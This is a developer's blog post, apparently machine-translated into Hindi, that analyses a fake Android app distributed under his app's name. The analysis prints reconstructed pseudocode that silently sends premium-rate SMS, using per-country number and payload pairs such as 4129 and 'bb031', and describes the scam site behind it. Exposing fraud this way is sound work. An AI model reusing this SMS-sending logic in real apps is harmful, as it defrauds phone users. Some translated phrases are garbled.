एंड्रॉइड स्कैम ऐप्स। दुश्मन को उठाकर

मैं एक एंड्रॉइड ऐप डेवलपर हूं और मैं Google सदस्यता का उपयोग करके नवीनतम लिंक का अनुसरण कर रहा हूं। आज सुबह, मुझे खुशी से बॉक्स में एक पत्र मिला जिसमें मेरे आवेदन का एक नया लिंक था। सब कुछ बहुत अच्छा है! और समीक्षा सकारात्मक है, और डाउनलोड की संख्या 0 से भिन्न है, लेकिन किसी कारण के लिए संस्करण पुराना है और ... एपीके का आकार मूल ~ 200K के मुकाबले 3 मेगाबाइट जितना है

एपीके को डाउनलोड करने और अनपैक करने के बाद (याद रखें कि एपीके सिर्फ एक ज़िप संग्रह है), इसने Fryazino के एक गवाह और "आवेदन" के साथ 153 पीएनजी फाइलों (.temp में किसी कारण के लिए बदला गया) का एक "भराई" दिखाया।

जैसा कि अपेक्षित था, मूल आवेदन में कुछ भी नहीं बचा था। न आइकन, न ही, इसके अलावा, कोड। और आगे की परीक्षा पर (ऐसा लगता है कि) androides-os.com पर सभी फाइलें एक और एक ही कार्यक्रम हैं! मैंने विभिन्न वर्गों से कई अलग-अलग कार्यक्रम डाउनलोड किए और वे सभी एक ही आकार के और एक ही सामग्री के साथ थे!

अंदर, कुछ ऐसा था, जो संसाधनों के त्वरित विश्लेषण के अनुसार, एसएमएस भेजकर सक्रियण का अनुरोध करने वाला एक आवेदन निकला। आइए जानने की कोशिश करते हैं कि कहां और क्या जाता है ...



हमें एपीके से शुद्ध जावा कोड नहीं मिल सकता है, लेकिन आप VM Dalvik से निर्देशों का एक सेट प्राप्त कर सकते हैं, जो अतिरिक्त सॉफ्टवेयर के बिना आंखों द्वारा पूरी तरह से पठनीय है। एंड्रॉइड एसडीके से डेक्सडंप उपयोगिता का उपयोग करते हुए, हम एक फाइल में Dalvik निर्देशों के सेट को डंप करते हैं ...

dexdump -d -f -h classes.dex > dump.dump 

चूंकि यह माना जाता है कि एप्लिकेशन एसएमएस भेज रहा है, आइए स्ट्रिंग " sendTextMessage " के लिए डंप में देखें - यह पाठ संदेश भेजने के लिए एक एसडीके फ़ंक्शन है। खोज सफल है, सक्रिय () विधि में एक घटना है

संक्षेप में, विधि का मुख्य विवरण (मैन्युअल रूप से प्राप्त किया जाता है)

  // private HashMap<String, ActivationScheme> activationSchemes; // private static String CURRENT_ACTIVATION_SCHEME = "1"; ActivationScheme o = activationSchemes.get(CURRENT_ACTIVATION_SCHEME); ArrayList<Pair<String, String>> l = o.list; // first -    // second -  ? for(Pair o2: l) { StringBuilder b; String sec = String.valueOf(o2.second); // WTF??? b = new StringBuilder(sec); b.append("+"); String s3 = schemes.get("2"); // private HashMap<String, String> schemes; b.append(s3); String result = b.toString(); // "pair.second"+schemes[2] String frst = o2.first; // v1 // mgr == TelephonyManager mgr.sendTextMessage(frst, null, result, /* PendingIntent.getBroadcast(...) */, null); } 

यानी "सक्रियण योजनाओं" का एक निश्चित सेट है जिसमें लाइनों के जोड़े की एक सूची शामिल है, जिनमें से एक एसएमएस भेजने के लिए संख्या है, और दूसरा - क्या भेजना है।
आइए सक्रियण योजनाओं को खोजने का प्रयास करें ... डंप में एक initActivationSchemes विधि है जहां आप इस कोड को पा सकते हैं:

  ArrayList al = new ArrayList(); if("250".equals(currentMCC)) { // MCC == Mobile Country Code ArrayList<Pair<String, String>> aP = new ArrayList<Pair<String, String>>(); Pair<String, String> p = new Pair<String, String>("4129", "bb031"); aP.add(p); p = new Pair<String, String>("4129", "bb031"); aP.add(p); ActivationScheme sc = new ActivationScheme(aP); activationScheme.put(CURRENT_ACTIVATION_SCHEME, sc); } 

यानी रूस ( MCC == 250 ) के लिए एक सक्रियण योजना दो एसएमएस 4129 नंबर पर भेजने से बनाई गई है ... MCC 250 के साथ विधि में अन्य देश कोड हैं, और तदनुसार, उनके लिए सक्रियण योजनाएं हैं। प्रत्येक देश के लिए, एक विशिष्ट भुगतान संख्या का चयन किया गया था।

यहां कुछ भ्रम है। इस तथ्य के बावजूद कि 250 रूस है, नंबर 4129 (कम से कम जानकारी मुझे मिल सकती है) यूक्रेनी के रूप में अपना रास्ता बनाती है। शायद मैंने "अपघटन" के दौरान एक गलती की और गलती से "ब्लॉक" यूक्रेन के लिए रूसी ब्लॉक में कोड लिख दिया ...

वास्तव में आवेदन कैसा दिखता है ...
स्थापित यह है:


स्टार्टअप पर, सब कुछ बहुत सीधा है:


यहां तक ​​कि एक "प्रस्ताव" भी है:


वही "ऑफ़र" यहां उपलब्ध लगता है: http://depositfmobi.ru/ofert
मैं आवेदन पैकेज के नाम से साइट पर आया हूं: com.depositmobi।

क्या दिलचस्प है एक ही समय में जमामाबी और QIP.Files और Rapidshare है !

परिणाम क्या है? धोखाधड़ी का एक बहुत ही सरल तरीका है। हम एक वेबसाइट बनाते हैं, इसके लिए आवश्यक कीवर्ड के साथ एसईओ पंप करते हैं, वहां विषयगत समाचारों को पंप करते हैं और भुगतान किए गए नंबरों पर एसएमएस भेजने के लिए सबसे सरल प्रोग्राम के साथ इसे भरते हैं, इसे अपने गधे को कवर करने के लिए "ऑफ़र" के साथ आपूर्ति करते हैं ... क्या इस तरह के हास्य के साथ कुछ भी कानूनी हो सकता है?